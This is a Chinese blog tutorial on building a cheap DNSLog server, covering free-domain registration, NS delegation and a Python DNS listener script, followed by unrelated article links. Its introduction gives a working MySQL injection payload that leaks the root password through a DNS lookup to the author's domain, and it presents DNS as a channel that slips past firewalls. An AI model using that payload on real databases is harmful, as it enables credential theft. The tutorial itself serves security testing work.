如何低成本搭建dnslog服务器
DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对“隐蔽”的渠道,来委婉地获取到想要获得的信息。
例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))
你将会看到类似:
当然你可能会说直接用http协议传输不就好了吗,确实http协议也可以,但是http协议毕竟有局限的地方,例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用,一些内网当中对于DNS协议的管控和检测是个薄弱的点,相对http来说DNS协议也更加隐蔽。
近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中,算是一门很基础的老技术了。
关于DNSLog的具体应用,这里就不多说了,感兴趣的可以进一步阅读以下文章:
https://www.anquanke.com/post/id/98096
http://www.freebuf.com/column/158579.html
https://www.cnblogs.com/afanti/p/8047530.html
那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构建DNSLog服务的方法。
准备材料:
(1) 一台低成本的VPS:这里推荐使用某国外的便宜VPS,完整root权限,单核512MB/10GSSD,¥128/年,购买链接在文章最后
(2) 一个可以接收邮件的邮箱:用来注册免费域名
搭建过程
注册域名
首先到 https://freenom.com 注册用户,同时注册一个免费的域名
以我这里为例,注册一个nogan.ga
注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是
ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。
点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。
如果注册了用户,只需要直接登录就可以了。
进入到Review and Checkout页面,填入一些你的基本信息就可以了
这里记得勾选Lock profile,你的信息就不会被whois查询到了。
接着下一步,勾选Complate Order,域名就注册成功了。
部署DNS服务
登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:
记得修改IP地址和NS域名,在最后。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2014-06-29 03:01:25
# @Author : Your Name (you@example.org)
# @Link : http://example.org
# @Version : $Id$
import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
def __init__(self, data):
i = 1
self.name = ''
while True:
d = ord(data[i])
if d == 0:
break;
if d < 32:
self.name = self.name + '.'
else:
self.name = self.name + chr(d)
i = i + 1
self.querybytes = data[0:i + 1]
(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
self.len = i + 5
def getbytes(self):
return self.querybytes + struct.pack('>HH', self.type, self.classify)
# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS
class SinDNSAnswer:
def __init__(self, ip):
self.name = 49164
self.type = 1
self.classify = 1
self.timetolive = 190
self.datalength = 4
self.ip = ip
def getbytes(self):
res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
s = self.ip.split('.')
res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
return res
# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
def __init__(self, data):
(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
self.query = SinDNSQuery(data[12:])
def getname(self):
return self.query.name
def setip(self, ip):
self.answer = SinDNSAnswer(ip)
self.answers = 1
self.flags = 33152
def getbytes(self):
res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
res = res + self.query.getbytes()
if self.answers != 0:
res = res + self.answer.getbytes()
return res
# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
dns = SinDNSFrame(data)
socket = self.request[1]
namemap = SinDNSServer.namemap
if(dns.query.type==1):
# If this is query a A record, then response it
name = dns.getname();
toip = None
ifrom = "map"
if namemap.__contains__(name):
# If have record, response it
# dns.setip(namemap[name])
# socket.sendto(dns.getbytes(), self.client_address)
toip = namemap[name]
elif namemap.__contains__('*'):
# Response default address
# dns.setip(namemap['*'])
# socket.sendto(dns.getbytes(), self.client_address)
toip = namemap['*']
else:
# ignore it
# socket.sendto(data, self.client_address)
# socket.getaddrinfo(name,0)
try:
toip = socketlib.getaddrinfo(name,0)[0][4][0]
ifrom = "sev"
# namemap[name] = toip
# print socket.getaddrinfo(name,0)
except Exception, e:
print 'get ip fail'
if toip:
dns.setip(toip)
print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
socket.sendto(dns.getbytes(), self.client_address)
else:
# If this is not query a A record, ignore it
socket.sendto(data, self.client_address)
# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
def __init__(self, port=53):
SinDNSServer.namemap = {}
self.port = port
def addname(self, name, ip):
SinDNSServer.namemap[name] = ip
def start(self):
HOST, PORT = "0.0.0.0", self.port
server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
server.serve_forever()
# Now, test it
if __name__ == "__main__":
sev = SinDNSServer()
sev.addname('ns0.nogan.ga','x.x.x.x')
sev.addname('ns1.nogan.ga','x.x.x.x')
sev.addname('www.nogan.ga','y.y.y.y')
sev.addname('*', '127.0.0.1') # default address
sev.start() # start DNS server
将上面的ns0.nogan.ga和ns1.nogan.ga改成你的域名,并且将x.x.x.x改成你的VPS服务器地址。
如果你在搭建DNSLog的同时还想顺便搭建一个网站的话,可以添加一个www记录,指向你的web服务器地址。
星号是将任意地址执行127.0.0.1,这样你的DNSLog请求记录,都会被默认解析到127.0.0.1。
接着在服务器上运行
python dns.py
在任意机器上面ping xxxxx.YOURDOMAIN:
可以在VPS上观察到请求已经过来了
但这个时候程序是一直在控制台运行的,想要退出怎么办呢,用nohup将程序改为背景运行:
想要关闭的话,先查看端口并获取进程号,然后kill即可:
Enjoy it~
附:
搬瓦工VPS优惠地址 (推荐 $19.99/年,约合RMB¥128):
https://bandwagonhost.com/cart.php (可能要扶梯 = = )
如何低成本搭建dnslog服务器的更多相关文章
- ubuntu 14.04LTS 环境下搭建tftp服务器
花费我一整天的时间在 ubuntu 14.04LTS 环境下搭建tftp服务器,网上好多资料参差不齐,简单来说,TFTP(Trivial File Transfer Protocol),是一个基于UD ...
- centos6环境下搭建irc服务器
问题描述 有时候逛技术社区,经常会发现有个叫IRC的东西存在,想搭建下看看到底是个什么东西 说明: 操作系统环境为CentOS6.5_64 安装irc服务器 通过yum进行安装,命令如下: yum i ...
- 在Ubuntu Server 14.04中搭建FTP服务器(VMWare)
自己搭建ftp服务器,方便主机与虚拟机中的Ubuntu传输文件. 选用的ftp软件为vsftpd. 1.命令行: sudo apt-get install vsftpd 2.安装完配置: vsftpd ...
- 如何搭建SVN服务器,详细安装步骤。
SVN服务器端安装 下载: VisualSVN是一款图形化svn服务器.官网 http://www.visualsvn.com/server/ 下载地址: http://www.visualsvn.c ...
- CentOS 7搭建SVN服务器
安装步骤如下: 1.yum install subversion 2.查看安装版本 svnserve --version 3.创建SVN版本库目录 mkdir -p /var/svn/svnrepos ...
- 超简单——自己搭建ftp服务器
自己搭建ftp服务器 之所以没选择serv-u,一是因为收费,虽说网上有破解版,但是使用过程中发现破解版很不稳定,经常异常死掉,随后改选用免费的filezilla. 1软件获取 从百度搜索 FileZ ...
- CentOS利用postfix搭建邮件服务器
之前我用nodemailer通过163邮箱来发送邮件,不过没过几天就一直ETIMEDOUT,不知道什么原因,想着还是自己搭一个来发邮件可能靠谱点(flag?) 安装postfix CentOS 7 自 ...
- Linux 搭建FTP服务器
介绍 本章主要介绍在Linux中搭建FTP服务器的过程,需要掌握的要点是配置文件的合理配置. 知识点 在linux中使用的FTP是vsftp FTP可以有三种登入方式分别是: 匿名登录方式:不需要用户 ...
- RedHat6.2搭建FTP服务器
我的环境: A:Red Hat Enterprise 6.2 IP:192.168.16.12 此机作测试端 B:Red Hat Enterprise 6.2 IP:192.168.16.13 此机做 ...
随机推荐
- JavaSE基础(十一)--Java数组
Java 数组 数组对于每一门编程语言来说都是重要的数据结构之一,当然不同语言对数组的实现及处理也不尽相同. Java 语言中提供的数组是用来存储固定大小的同类型元素. 数组特点: 其长度是确定的.数 ...
- RAMSPEED的简单测试数据 x86虚拟机 龙芯 飞腾
1. ramspeed 简介 http://alasir.com/software/ramspeed/ 官网为 2. 进行简单安装测试的步骤 . 下载 wget http://alasir.com/s ...
- Oracle对象-视图和索引
Oracle 对象-视图 视图概念 视图就是提供一个查询的窗口,所有的数据来自于原表 创建视图[必须有dba权限] --查询语句创建表 create table emp as select * f ...
- 怎么保证 redis 和 db 中的数据一致
你只要用缓存,就可能会涉及到缓存与数据库双存储双写,你只要是双写,就一定会有数据一致性的问题,那么你如何解决一致性问题? 首先需要考虑到:更新数据库或者更新缓存都有可能失败,在这种前提下分析业务带来的 ...
- eclipse导入maven空项目,eclipse导入时不识别maven项目
经常我们在网上下载的一些开源项目中,想要导入eclipse中,却发现eclipse不识别这个项目,这时候怎么办呢? 解决办法多种多样,我这里举例出最实用的2种: 1.在项目的根目录中加入.classp ...
- 怎样限制第三方Cookie
使用Cookie的 SameSite 属性. 1. SameSite=Strict; 这个模式下, 服务器将会完全禁止第三方Cookie, 在跨站点时, 任何情况下都不会发送Cookie, 也就是说, ...
- hdu 1113 简单字符处理问题
#include <map> #include <cstdio> #include <iostream> #include <string> #incl ...
- TCP协议探究(四):定时器
1 概述 重传定时器:使用于当希望收到另一端的确认. 坚持(persist)定时器:使窗口大小信息保持不断流动,即使另一端关闭了其接收窗口 保活(keepalive)定时器:用于检测一个空闲连接的另一 ...
- win 10 睡眠无法唤醒
近日遇到win10系统睡眠后无法唤醒的问题,于是网上到处搜索解决办法,试了其中几个比如回退 Intel(R) Management Engine Interface 的版本.设置电源的睡眠选项以利用休 ...
- 使用私有api统计ios app运行时间及次数
利用<iphone SprintBoard部分私有API总结>中提到的私有API,可以做很多越狱以前实现不了的事情. 比如,利用一个后台运行的app,监控该iphone上所有app的运行次 ...